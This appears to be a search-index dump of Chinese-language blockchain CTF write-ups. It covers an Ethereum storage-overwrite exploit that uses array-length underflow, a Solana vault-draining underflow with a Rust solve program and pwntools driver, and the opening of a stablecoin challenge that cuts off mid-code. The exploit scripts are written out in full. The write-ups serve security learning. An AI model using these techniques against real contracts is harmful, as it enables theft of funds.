vulnerabilities. Note, because the contract is on Ropsten, some transactions might fail. If that happens, just keep retrying. Get test ether from https://faucet.metamask.io/ https://totally-secure-dapp.vercel.app/ totally-secure-dapp.zip","title":"\u9898\u76ee"},{"location":"blockchain/totally_secure_dapp/#_2","text":"https://totally-secure-dapp.vercel.app/ \u4e3b\u8981\u63d0\u4f9b\u4e86 New Post \u548c\u5c55\u793a Post \u7684\u529f\u80fd\uff0cPost \u8bb0\u5f55\u4e0a\u94fe \u63d0\u4f9b\u4e86\u4e24\u4efd\u5408\u7ea6\u4ee3\u7801\uff0cPost \u76f8\u5173\u64cd\u4f5c\u51fd\u6570\u4f4d\u4e8e TotallySecureDapp.sol \uff0c\u5f53\u8c03\u7528\u8005\u4e3a owner \u4e14\u5408\u7ea6\u8d26\u6237\u7684\u4f59\u989d\u5927\u4e8e 0.005 \u4ee5\u592a\u65f6\u53ef\u4ee5\u89e6\u53d1 FlagCaptured \u4e8b\u4ef6 modifier onlyOwner () { require ( msg . sender == _owner , 'Caller is not the owner' ); _ ; } function captureFlag () external onlyOwner { require ( address ( this ). balance > 0.005 ether , 'Balance too low' ); _flagCaptured = true ; emit FlagCaptured ( msg . sender ); } \u9664\u6b64\u4e4b\u5916\uff0c\u80fd\u591f\u8c03\u7528\u7684\u51fd\u6570\u6709 addPost \u3001 editPost \u3001 removePost \u548c nPost \u3002\u6ce8\u610f\u5230 removePost \u4e2d length \u7684\u51cf\u6cd5\u6ca1\u6709\u4f7f\u7528 SafeMath \u6216\u5728\u4f7f\u7528\u524d\u8fdb\u884c\u5224\u65ad function addPost ( string title , string content ) external { Post memory post = Post ( title , content ); _posts . push ( post ); _authors . push ( msg . sender ); emit PostPublished ( msg . sender , _posts . length - 1 ); } function editPost ( uint256 index , string title , string content ) external { _authors [ index ] = msg . sender ; _posts [ index ] = Post ( title , content ); emit PostEdited ( msg . sender , index ); } function removePost ( uint256 index ) external { if ( int256 ( index ) < int256 ( _posts . length - 1 )) { for ( uint256 i = index ; i < _posts . length - 1 ; i ++ ) { _posts [ i ] = _posts [ i + 1 ]; _authors [ i ] = _authors [ i + 1 ]; } } _posts . length -- ; _authors . length -- ; emit PostRemoved ( msg . sender , index ); } function nPosts () public view returns ( uint256 ) { return _posts . length ; } \u56e0\u4e3a\u6570\u7ec4\u957f\u5ea6\u53ef\u63a7\u4e14\u53ef\u7f16\u8f91\u6307\u5b9a\u4e0b\u6807\u7684\u6570\u7ec4\u5143\u7d20\uff0c\u63a5\u4e0b\u6765\u53ea\u9700\u8981\u901a\u8fc7 editPost \u8986\u76d6 owner \u53d8\u91cf string \u7c7b\u578b\u7684\u53d8\u91cf\u5b58\u50a8\u65b9\u5f0f\u4e0e address \u7c7b\u578b\u7684\u4e0d\u540c\uff0c\u5f53\u957f\u5ea6\u5c0f\u4e8e \\(32\\) \u5b57\u8282\u65f6\uff0c\u5143\u7d20\u5b58\u50a8\u5728\u9ad8\u4f4d\uff0c\u4f4e\u4f4d\u5b58\u50a8\u5b57\u7b26\u4e32\u5b57\u8282\u957f\u5ea6\uff0c\u5f53\u957f\u5ea6\u5927\u4e8e \\(31\\) \u5b57\u8282\u65f6\uff0c\u5b58\u50a8\u65b9\u5f0f\u4e0e\u6570\u7ec4\u7c7b\u4f3c \u5efa\u8bae\u901a\u8fc7 _authors \u6570\u7ec4\u5b8c\u6210\u8986\u76d6\u64cd\u4f5c // contract Initializable bool private _initialized ; // slot 0 bool private _initializing ; // slot 0 // contract TotallySecureDapp is Initializable struct Post { string title ; string content ; } // 2 slots string public _contractId ; // slot 1 address public _owner ; // slot 2 address [] public _authors ; // slot 3 Post [] public _posts ; // slot 4 bool public _flagCaptured ; // slot 5 \u53e6\u5916\uff0c\u5408\u7ea6 TotallySecureDapp \u4e0d\u63a5\u53d7\u76f4\u63a5\u8f6c\u8d26\uff0c\u6240\u4ee5\u9700\u8981\u4e00\u4e9b\u7279\u6b8a\u624b\u6bb5 >v< \u6bd4\u5982 selfdestruct function () external payable { revert ( 'Contract does not accept payments' ); } \u7ed9 TotallySecureDapp \u5408\u7ea6\u5b9e\u4f8b\u8f6c\u8d26\u540e\uff0c\u901a\u8fc7 web3py \u4e0e\u5408\u7ea6\u8fdb\u884c\u4ea4\u4e92 from web3 import Web3 import json , time # \u5728 https://infura.io/ \u6ce8\u518c\u4e00\u4e2a\u8d26\u53f7\u5e76\u521b\u5efa\u4e00\u4e2a\u9879\u76ee\u53ef\u83b7\u5f97 API key w3 = Web3 ( Web3 . HTTPProvider ( \"https://ropsten.infura.io/v3/\" )) account = w3 . eth . account . from_key ( \"\" ) contract_address = \"\" abi = json . loads ( open ( 'abi.json' ) . read ()) contract = w3 . eth . contract ( address = contract_address , abi = abi ) # \u5148\u8c03\u7528 removePost \u4f7f\u6570\u7ec4\u957f\u5ea6\u4e0b\u6ea2\u51fa tx = contract . functions . removePost ( 1 ) . buildTransaction ({ \"from\" : account . address , \"nonce\" : w3 . eth . getTransactionCount ( account . address )}) signed_tx = account . signTransaction ( tx ) print ( w3 . eth . sendRawTransaction ( signed_tx . rawTransaction ) . hex ()) time . sleep ( 30 ) # \u7b49\u5f85\u4ea4\u6613\u786e\u8ba4 # \u4fee\u6539 owner index = 2 ** 256 - int ( Web3 . soliditySha3 ([ 'uint256' ], [ 3 ]) . hex (), 16 ) + 2 tx = contract . functions . editPost ( index , \"unimportant\" , \"unimportant\" ) . buildTransaction ({ \"from\" : account . address , \"nonce\" : w3 . eth . getTransactionCount ( account . address )}) signed_tx = account . signTransaction ( tx ) print ( w3 . eth . sendRawTransaction ( signed_tx . rawTransaction ) . hex ()) time . sleep ( 30 ) # emit FlagCaptured tx = contract . functions . captureFlag () . buildTransaction ({ \"from\" : account . address , \"nonce\" : w3 . eth . getTransactionCount ( account . address )}) signed_tx = account . signTransaction ( tx ) print ( w3 . eth . sendRawTransaction ( signed_tx . rawTransaction ) . hex ()) TotallySecureDapp | Address 0x014a2a17aa06c26c660fb4a269ac87849d38fd0a | Etherscan \u53ef\u4ee5\u770b\u5230 FlagCaptured \u4e8b\u4ef6\u88ab\u6210\u529f\u89e6\u53d1\u4e86\uff0c\u4f46\u662f Flag \u5728\u54ea\uff1f \u8d77\u521d\u4ee5\u4e3a\u662f\u4e8b\u4ef6\u7684\u8fd4\u56de\u503c\uff0c\u4f46\u67e5\u65e5\u5fd7\u4e5f\u6700\u591a\u53ea\u80fd\u83b7\u5f97\u4f20\u53c2\u3002\u60f3\u5230\u662f Web \u9898\uff0c\u8dd1\u53bb\u7ffb\u4e86\u7ffb\u6e90\u7801\uff0c\u53d1\u73b0 pages/api/secret.ts \u4e2d\u63d0\u4f9b\u4e86\u83b7\u53d6 Flag \u7684\u63a5\u53e3\uff0c\u8bf7\u6c42\u53c2\u6570\u5305\u62ec userAddress \u3001 contractAddress \u4ee5\u53ca userId const { userAddress , contractAddress , userId } = req . body as ReqData ; const owner = await contract . _owner (); const flagCaptured = await contract . _flagCaptured (); const balance = await provider . getBalance ( contractAddress ); if ( owner === userAddress && flagCaptured && balance . gt ( parseEther ( '0.005' ))) { const ids = db . collection ( 'users' ). doc ( 'ids' ); if ( ! ids ) { res . status ( 500 ). json ({ error : 'Failed to load ids' }); return ; } const id = ( await ids . get ()). get ( userAddress . toLowerCase ()); if ( id !== userId ) { res . status ( 401 ). json ({ error : 'Unauthorised' }); return ; } const flag = process . env . FLAG ; res . status ( 200 ). json ({ flag : flag }); return ; } \u5408\u7ea6\u76f8\u5173\u7684\u6761\u4ef6\u90fd\u5df2\u6ee1\u8db3\uff0c\u8fd8\u5dee\u4e00\u4e2a userId \uff0c\u641c\u4e86\u641c\u6e90\u7801\uff0c\u5728 components/connector/ConnectModal.tsx \u4e0b\u627e\u5230\u4e86 window.localStorage.setItem('user-id', id); \u5728\u63a7\u5236\u53f0\u8f93\u5165 localStorage.getItem('user-id') \u5373\u53ef\u83b7\u5f97\u5bf9\u5e94\u8d26\u6237\u7684 userId \u8c03\u7528 API \u63a5\u53e3 $ curl -d '{\"userAddress\":\"0xe09f6d20E2522F6B971b4516744946CF17BE8432\", \"contractAddress\":\"0x014A2a17AA06C26C660FB4A269aC87849d38Fd0A\", \"userId\": \"RIHIaESfxzilmF10mmBpH\"}' -H \"Content-Type: application/json\" -X POST https://totally-secure-dapp.vercel.app/api/secret { \"flag\" : \"UACTF{23411y_m394_5u5_f149}\" }","title":"\u89e3\u9898\u601d\u8def"},{"location":"blockchain/totally_secure_dapp/#flag","text":"UACTF{23411y_m394_5u5_f149}","title":"Flag"},{"location":"blockchain/tribunal/","tags":["solana","integer underflow"],"text":"#solana #integer underflow .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 The yearly CoR tribunal is upon us, and issues vital to the long-term survival of our CTF team are being discussed. I learned from my mistakes last year, so now this smart contract is much more secure! nc be.ax 30555 tribunal.tar.gz \u89e3\u9898\u601d\u8def \u00b6 user \u521d\u59cb\u6301\u6709 1 SOL // fund user chall . run_ix ( system_instruction :: transfer ( & payer , & user , 1 _000_000_000 )) // 1 sol . await ? ; \u76ee\u6807\u662f\u83b7\u53d6\u81f3\u5c11 90 SOL // 90 sol if account . lamports > 90_000_000_000 { writeln! ( socket , \"you'll be the focus of the next tribunal...\" ) ? ; writeln! ( socket , \"flag: {}\" , env :: var ( \"FLAG\" ). unwrap_or_else ( | _ | \"corctf{test_flag}\" . to_string ()) ) ? ; } \u7a0b\u5e8f\u652f\u6301\u7684\u56db\u79cd\u6307\u4ee4\u4e2d\uff0c\u53ef\u4ee5\u901a\u8fc7 Withdraw \u83b7\u53d6 SOL\uff0c\u9700\u8981\u4fdd\u8bc1 config_data.total_balance \u4ee5\u53ca vault \u7684\u4f59\u989d\u5927\u4e8e amount #[derive(BorshDeserialize, BorshSerialize)] pub enum TribunalInstruction { Initialize { config_bump : u8 , vault_bump : u8 }, Propose { proposal_id : u8 , proposal_bump : u8 }, Vote { proposal_id : u8 , amount : u64 }, Withdraw { amount : u64 }, } \u7a0b\u5e8f\u53ea\u68c0\u67e5\u7528\u6237\u63d0\u4f9b\u7684 vault \u8d26\u6237\u662f\u5426\u662f Vault \u7c7b\u578b\uff0c\u56e0\u6b64\u53ef\u4ee5\u4f7f\u7528 admin \u521b\u5efa\u7684 vault if vault_data . discriminator != Types :: Vault { return Err ( ProgramError :: InvalidAccountData ); } \u7531\u4e8e\u7a0b\u5e8f\u4f1a\u68c0\u67e5 config \u8d26\u6237\u7684 admin\uff0c\u56e0\u6b64 config \u8d26\u6237\u53ea\u80fd\u4f7f\u7528\u7528\u6237\u901a\u8fc7 Initialize \u521b\u5efa\u7684\uff0c\u90a3\u4e48\u5c31\u9700\u8981\u4fee\u6539 total_balance \uff0c\u800c total_balance \u53ea\u80fd\u901a\u8fc7 Vote \u4fee\u6539 \u6ce8\u610f\u5230\u5728\u66f4\u65b0 total_balance \u65f6\uff0c -100 \u6ca1\u6709\u4f7f\u7528 checked_sub \uff0c\u56e0\u800c\u53ef\u901a\u8fc7\u4e0b\u6ea2\u51fa\u5f97\u5230\u5145\u8db3\u7684 total_balance // update the config total balance config_data . total_balance = config_data . total_balance . checked_add ( lamports ). unwrap () - 100 ; // keep some for rent Exploitation \u00b6 $ cargo new solve $ cd solve/ $ mv src/main.rs src/lib.rs $ cargo add solana_program borsh $ cargo-build-bpf Cargo.toml [package] name = \"solve\" version = \"0.1.0\" edition = \"2021\" [dependencies] borsh = \"0.10.3\" solana-program = \"1.16.5\" [lib] crate-type = [\"cdylib\", \"rlib\"] lib.rs use borsh :: { BorshSerialize }; use solana_program :: { account_info :: { next_account_info , AccountInfo }, instruction :: { AccountMeta , Instruction }, entrypoint :: ProgramResult , entrypoint , program :: invoke , pubkey :: Pubkey , system_program , }; #[derive(BorshSerialize)] pub enum TribunalInstruction { Initialize { config_bump : u8 , vault_bump : u8 }, Propose { proposal_id : u8 , proposal_bump : u8 }, Vote { proposal_id : u8 , amount : u64 }, Withdraw { amount : u64 }, } entrypoint ! ( process_instruction ); pub fn process_instruction ( _program_id : & Pubkey , accounts : & [ AccountInfo ], _instruction_data : & [ u8 ], ) -> ProgramResult { let iter = & mut accounts . iter (); let chall_id = next_account_info ( iter ) ? ; let user = next_account_info ( iter ) ? ; let user_config = next_account_info ( iter ) ? ; let user_vault = next_account_info ( iter ) ? ; let proposal = next_account_info ( iter ) ? ; let vault = next_account_info ( iter ) ? ; let config_bump = 252_ u8 ; let vault_bump = 253_ u8 ; invoke ( & Instruction { program_id : * chall_id . key , data : TribunalInstruction :: Initialize { config_bump , vault_bump }. try_to_vec (). unwrap (), accounts : vec ! [ AccountMeta :: new ( * user . key , true ), AccountMeta :: new ( * user_config . key , false ), AccountMeta :: new ( * user_vault . key , false ), AccountMeta :: new_readonly ( system_program :: id (), false ), ] }, & [ user . clone (), user_config . clone (), // all accounts should be provided user_vault . clone (), ] ) ? ; invoke ( & Instruction { program_id : * chall_id . key , data : TribunalInstruction :: Vote { proposal_id : 1 , amount : 1 }. try_to_vec (). unwrap (), accounts : vec ! [ AccountMeta :: new ( * user . key , true ), AccountMeta :: new ( * user_config . key , false ), AccountMeta :: new ( * vault . key , false ), AccountMeta :: new ( * proposal . key , false ), AccountMeta :: new_readonly ( system_program :: id (), false ), ] }, & [ user . clone (), vault . clone (), user_config . clone (), proposal . clone (), ] ) ? ; invoke ( & Instruction { program_id : * chall_id . key , data : TribunalInstruction :: Withdraw { amount : 95_000_000_000 }. try_to_vec (). unwrap (), accounts : vec ! [ AccountMeta :: new ( * user . key , true ), AccountMeta :: new ( * user_config . key , false ), AccountMeta :: new ( * vault . key , false ), AccountMeta :: new_readonly ( system_program :: id (), false ), ] }, & [ user . clone (), vault . clone (), user_config . clone (), ] ) ? ; Ok (()) } solve.py from pwn import * from solana.publickey import PublicKey from solana.system_program import SYS_PROGRAM_ID account_metas = [ ( \"program\" , \"-r\" ), # readonly ( \"user\" , \"sw\" ), # signer + writable ( \"user_config\" , \"-w\" ), ( \"user_vault\" , \"-w\" ), ( \"proposal\" , \"-w\" ), ( \"vault\" , \"-w\" ), ( \"system program\" , \"-r\" ), ] instruction_data = b \"\" p = remote ( \"be.ax\" , 30555 ) with open ( \"solve/target/deploy/solve.so\" , \"rb\" ) as f : solve = f . read () p . sendlineafter ( b \"program pubkey: \\n \" , str ( PublicKey ( b '1' * 32 )) . encode ()) p . sendlineafter ( b \"program len: \\n \" , str ( len ( solve )) . encode ()) p . send ( solve ) accounts = {} accounts [ \"program\" ] = p . recvline_contains ( b \"program: \" ) . strip () . split ( b \": \" )[ - 1 ] . decode () accounts [ \"user\" ] = p . recvline_contains ( b \"user: \" ) . strip () . split ( b \": \" )[ - 1 ] . decode () accounts [ \"system program\" ] = SYS_PROGRAM_ID . to_base58 () . decode () program_id = PublicKey ( accounts [ \"program\" ]) config_addr = PublicKey . create_program_address ([ b \"CONFIG\" , b ' \\xfc ' ], program_id ) # use a different bump seed from admin accounts [ \"user_config\" ] = config_addr . to_base58 () . decode () vault_addr = PublicKey . create_program_address ([ b \"VAULT\" , b ' \\xfd ' ], program_id ) accounts [ \"user_vault\" ] = vault_addr . to_base58 () . decode () vault_addr , vault_bump = PublicKey . find_program_address ([ b \"VAULT\" ], program_id ) accounts [ \"vault\" ] = vault_addr . to_base58 () . decode () # admin vault proposal_addr , proposal_bump = PublicKey . find_program_address ([ b \"PROPOSAL\" , b \" \\x01 \" ], program_id ) accounts [ \"proposal\" ] = proposal_addr . to_base58 () . decode () p . recvuntil ( b \"num accounts: \\n \" , drop = True ) p . sendline ( str ( len ( account_metas )) . encode ()) for ( name , perms ) in account_metas : p . sendline ( f \" { perms } { accounts [ name ] } \" . encode ()) p . sendlineafter ( b \"ix len: \\n \" , str ( len ( instruction_data )) . encode ()) p . send ( instruction_data ) p . interactive () Flag \u00b6 corctf{its_y0ur_time_to_f4ce_the_CoR_tribunal} \u53c2\u8003\u8d44\u6599 \u00b6 anchor - how to convert pubkey to accountinfo? - Solana Stack Exchange Pubkey \u2014 solders documentation","title":"tribunal"},{"location":"blockchain/tribunal/#_1","text":"The yearly CoR tribunal is upon us, and issues vital to the long-term survival of our CTF team are being discussed. I learned from my mistakes last year, so now this smart contract is much more secure! nc be.ax 30555 tribunal.tar.gz","title":"\u9898\u76ee"},{"location":"blockchain/tribunal/#_2","text":"user \u521d\u59cb\u6301\u6709 1 SOL // fund user chall . run_ix ( system_instruction :: transfer ( & payer , & user , 1 _000_000_000 )) // 1 sol . await ? ; \u76ee\u6807\u662f\u83b7\u53d6\u81f3\u5c11 90 SOL // 90 sol if account . lamports > 90_000_000_000 { writeln! ( socket , \"you'll be the focus of the next tribunal...\" ) ? ; writeln! ( socket , \"flag: {}\" , env :: var ( \"FLAG\" ). unwrap_or_else ( | _ | \"corctf{test_flag}\" . to_string ()) ) ? ; } \u7a0b\u5e8f\u652f\u6301\u7684\u56db\u79cd\u6307\u4ee4\u4e2d\uff0c\u53ef\u4ee5\u901a\u8fc7 Withdraw \u83b7\u53d6 SOL\uff0c\u9700\u8981\u4fdd\u8bc1 config_data.total_balance \u4ee5\u53ca vault \u7684\u4f59\u989d\u5927\u4e8e amount #[derive(BorshDeserialize, BorshSerialize)] pub enum TribunalInstruction { Initialize { config_bump : u8 , vault_bump : u8 }, Propose { proposal_id : u8 , proposal_bump : u8 }, Vote { proposal_id : u8 , amount : u64 }, Withdraw { amount : u64 }, } \u7a0b\u5e8f\u53ea\u68c0\u67e5\u7528\u6237\u63d0\u4f9b\u7684 vault \u8d26\u6237\u662f\u5426\u662f Vault \u7c7b\u578b\uff0c\u56e0\u6b64\u53ef\u4ee5\u4f7f\u7528 admin \u521b\u5efa\u7684 vault if vault_data . discriminator != Types :: Vault { return Err ( ProgramError :: InvalidAccountData ); } \u7531\u4e8e\u7a0b\u5e8f\u4f1a\u68c0\u67e5 config \u8d26\u6237\u7684 admin\uff0c\u56e0\u6b64 config \u8d26\u6237\u53ea\u80fd\u4f7f\u7528\u7528\u6237\u901a\u8fc7 Initialize \u521b\u5efa\u7684\uff0c\u90a3\u4e48\u5c31\u9700\u8981\u4fee\u6539 total_balance \uff0c\u800c total_balance \u53ea\u80fd\u901a\u8fc7 Vote \u4fee\u6539 \u6ce8\u610f\u5230\u5728\u66f4\u65b0 total_balance \u65f6\uff0c -100 \u6ca1\u6709\u4f7f\u7528 checked_sub \uff0c\u56e0\u800c\u53ef\u901a\u8fc7\u4e0b\u6ea2\u51fa\u5f97\u5230\u5145\u8db3\u7684 total_balance // update the config total balance config_data . total_balance = config_data . total_balance . checked_add ( lamports ). unwrap () - 100 ; // keep some for rent","title":"\u89e3\u9898\u601d\u8def"},{"location":"blockchain/tribunal/#exploitation","text":"$ cargo new solve $ cd solve/ $ mv src/main.rs src/lib.rs $ cargo add solana_program borsh $ cargo-build-bpf Cargo.toml [package] name = \"solve\" version = \"0.1.0\" edition = \"2021\" [dependencies] borsh = \"0.10.3\" solana-program = \"1.16.5\" [lib] crate-type = [\"cdylib\", \"rlib\"] lib.rs use borsh :: { BorshSerialize }; use solana_program :: { account_info :: { next_account_info , AccountInfo }, instruction :: { AccountMeta , Instruction }, entrypoint :: ProgramResult , entrypoint , program :: invoke , pubkey :: Pubkey , system_program , }; #[derive(BorshSerialize)] pub enum TribunalInstruction { Initialize { config_bump : u8 , vault_bump : u8 }, Propose { proposal_id : u8 , proposal_bump : u8 }, Vote { proposal_id : u8 , amount : u64 }, Withdraw { amount : u64 }, } entrypoint ! ( process_instruction ); pub fn process_instruction ( _program_id : & Pubkey , accounts : & [ AccountInfo ], _instruction_data : & [ u8 ], ) -> ProgramResult { let iter = & mut accounts . iter (); let chall_id = next_account_info ( iter ) ? ; let user = next_account_info ( iter ) ? ; let user_config = next_account_info ( iter ) ? ; let user_vault = next_account_info ( iter ) ? ; let proposal = next_account_info ( iter ) ? ; let vault = next_account_info ( iter ) ? ; let config_bump = 252_ u8 ; let vault_bump = 253_ u8 ; invoke ( & Instruction { program_id : * chall_id . key , data : TribunalInstruction :: Initialize { config_bump , vault_bump }. try_to_vec (). unwrap (), accounts : vec ! [ AccountMeta :: new ( * user . key , true ), AccountMeta :: new ( * user_config . key , false ), AccountMeta :: new ( * user_vault . key , false ), AccountMeta :: new_readonly ( system_program :: id (), false ), ] }, & [ user . clone (), user_config . clone (), // all accounts should be provided user_vault . clone (), ] ) ? ; invoke ( & Instruction { program_id : * chall_id . key , data : TribunalInstruction :: Vote { proposal_id : 1 , amount : 1 }. try_to_vec (). unwrap (), accounts : vec ! [ AccountMeta :: new ( * user . key , true ), AccountMeta :: new ( * user_config . key , false ), AccountMeta :: new ( * vault . key , false ), AccountMeta :: new ( * proposal . key , false ), AccountMeta :: new_readonly ( system_program :: id (), false ), ] }, & [ user . clone (), vault . clone (), user_config . clone (), proposal . clone (), ] ) ? ; invoke ( & Instruction { program_id : * chall_id . key , data : TribunalInstruction :: Withdraw { amount : 95_000_000_000 }. try_to_vec (). unwrap (), accounts : vec ! [ AccountMeta :: new ( * user . key , true ), AccountMeta :: new ( * user_config . key , false ), AccountMeta :: new ( * vault . key , false ), AccountMeta :: new_readonly ( system_program :: id (), false ), ] }, & [ user . clone (), vault . clone (), user_config . clone (), ] ) ? ; Ok (()) } solve.py from pwn import * from solana.publickey import PublicKey from solana.system_program import SYS_PROGRAM_ID account_metas = [ ( \"program\" , \"-r\" ), # readonly ( \"user\" , \"sw\" ), # signer + writable ( \"user_config\" , \"-w\" ), ( \"user_vault\" , \"-w\" ), ( \"proposal\" , \"-w\" ), ( \"vault\" , \"-w\" ), ( \"system program\" , \"-r\" ), ] instruction_data = b \"\" p = remote ( \"be.ax\" , 30555 ) with open ( \"solve/target/deploy/solve.so\" , \"rb\" ) as f : solve = f . read () p . sendlineafter ( b \"program pubkey: \\n \" , str ( PublicKey ( b '1' * 32 )) . encode ()) p . sendlineafter ( b \"program len: \\n \" , str ( len ( solve )) . encode ()) p . send ( solve ) accounts = {} accounts [ \"program\" ] = p . recvline_contains ( b \"program: \" ) . strip () . split ( b \": \" )[ - 1 ] . decode () accounts [ \"user\" ] = p . recvline_contains ( b \"user: \" ) . strip () . split ( b \": \" )[ - 1 ] . decode () accounts [ \"system program\" ] = SYS_PROGRAM_ID . to_base58 () . decode () program_id = PublicKey ( accounts [ \"program\" ]) config_addr = PublicKey . create_program_address ([ b \"CONFIG\" , b ' \\xfc ' ], program_id ) # use a different bump seed from admin accounts [ \"user_config\" ] = config_addr . to_base58 () . decode () vault_addr = PublicKey . create_program_address ([ b \"VAULT\" , b ' \\xfd ' ], program_id ) accounts [ \"user_vault\" ] = vault_addr . to_base58 () . decode () vault_addr , vault_bump = PublicKey . find_program_address ([ b \"VAULT\" ], program_id ) accounts [ \"vault\" ] = vault_addr . to_base58 () . decode () # admin vault proposal_addr , proposal_bump = PublicKey . find_program_address ([ b \"PROPOSAL\" , b \" \\x01 \" ], program_id ) accounts [ \"proposal\" ] = proposal_addr . to_base58 () . decode () p . recvuntil ( b \"num accounts: \\n \" , drop = True ) p . sendline ( str ( len ( account_metas )) . encode ()) for ( name , perms ) in account_metas : p . sendline ( f \" { perms } { accounts [ name ] } \" . encode ()) p . sendlineafter ( b \"ix len: \\n \" , str ( len ( instruction_data )) . encode ()) p . send ( instruction_data ) p . interactive ()","title":"Exploitation"},{"location":"blockchain/tribunal/#flag","text":"corctf{its_y0ur_time_to_f4ce_the_CoR_tribunal}","title":"Flag"},{"location":"blockchain/tribunal/#_3","text":"anchor - how to convert pubkey to accountinfo? - Solana Stack Exchange Pubkey \u2014 solders documentation","title":"\u53c2\u8003\u8d44\u6599"},{"location":"blockchain/paradigm/dai_plus_plus/","tags":["smart contract","clones with immutable args"],"text":"#smart contract #clones with immutable args .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } Description \u00b6 MakerDAO is such a complex codebase, and we all know that larger codebases are more likely to have bugs. I simplified everything, so there shouldn't be any bugs here. Deploy.s.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0.8.13 ; import \"forge-ctf/CTFDeployment.sol\" ; import \"../src/Challenge.sol\" ; import \"../src/SystemConfiguration.sol\" ; import { Account as Acct } from \"../src/Account.sol\" ; contract Deploy is CTFDeployment { function deploy ( address system , address ) internal override returns ( address challenge ) { vm . startBroadcast ( system ); SystemConfiguration configuration = new SystemConfiguration (); AccountManager manager = new AccountManager ( configuration ); configuration . updateAccountManager ( address ( manager )); configuration . updateStablecoin ( address ( new Stablecoin ( configuration ))); configuration . updateAccountImplementation ( address ( new Acct ())); configuration . updateEthUsdPriceFeed ( 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419 ); configuration . updateSystemContract ( address ( manager ), true ); challenge = address ( new Challenge ( configuration )); vm . stopBroadcast (); } } src/Challenge.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0.8.13 ; import \"../lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol\" ; import \"./SystemConfiguration.sol\" ; contract Challenge { SystemConfiguration public immutable SYSTEM_CONFIGURATION ; constructor ( SystemConfiguration configuration ) { SYSTEM_CONFIGURATION = configuration ; } function isSolved () external view returns ( bool ) { return IERC20 ( SYSTEM_CONFIGURATION . getStablecoin ()). totalSupply () > 1 _000_000_000_000 ether ; } } src/SystemConfiguration.sol import \"@openzeppelin/contracts/access/Ownable.sol\" ; import \"./Account.sol\" ; contract SystemConfiguration is Ownable { address private accountImplementation ; address private ethUsdPriceFeed ; address private accountManager ; address private stablecoin ; uint256 private collateralRatio ; mapping ( address => bool ) private _systemContracts ; constructor () { collateralRatio = 15000 ; } function updateAccountImplementation ( address newImplementation ) external onlyOwner { accountImplementation = newImplementation ; } function updateEthUsdPriceFeed ( address newPriceFeed ) external onlyOwner { ethUsdPriceFeed = newPriceFeed ; } function updateStablecoin ( address newStablecoin ) external onlyOwner { stablecoin = newStablecoin ; } function updateAccountManager ( address newAccountManager ) external onlyOwner { accountManager = newAccountManager ; } function updateCollateralRatio ( uint256 newRatio ) external onlyOwner { collateralRatio = newRatio ; } function updateSystemContract ( address target , bool authorized ) external onlyOwner { _systemContracts [ target ] = authorized ; } function getAccountImplementation () external view returns ( address ) { return accountImplementation ; } function getEthUsdPriceFeed () external view returns ( address ) { return ethUsdPriceFeed ; } function getCollateralRatio () external view returns ( uint256 ) { return collateralRatio ; } function getStablecoin () external view returns ( address ) { return stablecoin ; } function getAccountManager () external view returns ( address ) { return accountManager ; } function isAuthorized ( address who ) external view returns ( bool ) { return _systemContracts [ who ]; } } src/Account.sol import \"@clones-with-immutable-args/src/Clone.sol\" ; import \"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\" ; import \"@openzeppelin/contracts/utils/cryptography/SignatureChecker.sol\" ; import \"./SystemConfiguration.sol\" ; import \"./AccountManager.sol\" ; contract Account is Clone { event DebtIncreased ( uint256 amount , string memo ); event DebtDecreased ( uint256 amount , string memo ); uint256 private debt ; function deposit () external payable {} function withdraw ( uint256 amount ) external { require ( msg . sender == _getArgAddress ( 20 ), \"ONLY_ACCOUNT_HOLDER\" ); require ( isHealthy ( amount , 0 ), \"NOT_HEALTHY\" ); ( bool ok ,) = payable ( msg . sender ). call { value : amount }( hex \"\" ); require ( ok , \"TRANSFER_FAILED\" ); } function increaseDebt ( address operator , uint256 amount , string calldata memo ) external { SystemConfiguration configuration = SystemConfiguration ( _getArgAddress ( 0 )); require ( configuration . isAuthorized ( msg . sender ), \"NOT_AUTHORIZED\" ); require ( operator == _getArgAddress ( 20 ), \"ONLY_ACCOUNT_HOLDER\" ); require ( isHealthy ( 0 , amount ), \"NOT_HEALTHY\" ); debt += amount ; emit DebtIncreased ( amount , memo ); } function decreaseDebt ( uint256 amount , string calldata memo ) external { SystemConfiguration configuration = SystemConfiguration ( _getArgAddress ( 0 )); require ( configuration . isAuthorized ( msg . sender ), \"NOT_AUTHORIZED\" ); debt -= amount ; emit DebtDecreased ( amount , memo ); } function isHealthy ( uint256 collateralDecrease , uint256 debtIncrease ) public view returns ( bool ) { SystemConfiguration configuration = SystemConfiguration ( _getArgAddress ( 0 )); uint256 totalBalance = address ( this ). balance - collateralDecrease ; uint256 totalDebt = debt + debtIncrease ; (, int256 ethPriceInt ,,,) = AggregatorV3Interface ( configuration . getEthUsdPriceFeed ()). latestRoundData (); if ( ethPriceInt <= 0 ) return false ; uint256 ethPrice = uint256 ( ethPriceInt ); return totalBalance * ethPrice / 1e8 >= totalDebt * configuration . getCollateralRatio () / 10000 ; } function recoverAccount ( address newOwner , address [] memory newRecoveryAccounts , bytes [] memory signatures ) external returns ( Account ) { require ( isHealthy ( 0 , 0 ), \"UNHEALTHY_ACCOUNT\" ); bytes32 signHash = keccak256 ( abi . encodePacked ( block . chainid , _getArgAddress ( 20 ), newOwner , newRecoveryAccounts )); uint256 numRecoveryAccounts = _getArgUint256 ( 40 ); require ( signatures . length == numRecoveryAccounts , \"INCORRECT_LENGTH\" ); for ( uint256 i = 0 ; i < numRecoveryAccounts ; i ++ ) { require ( SignatureChecker . isValidSignatureNow ( _getArgAddress ( 72 + 32 * i ), signHash , signatures [ i ]), \"INVALID_SIGNATURE\" ); } SystemConfiguration configuration = SystemConfiguration ( _getArgAddress ( 0 )); uint256 currentDebt = debt ; debt = 0 ; return AccountManager 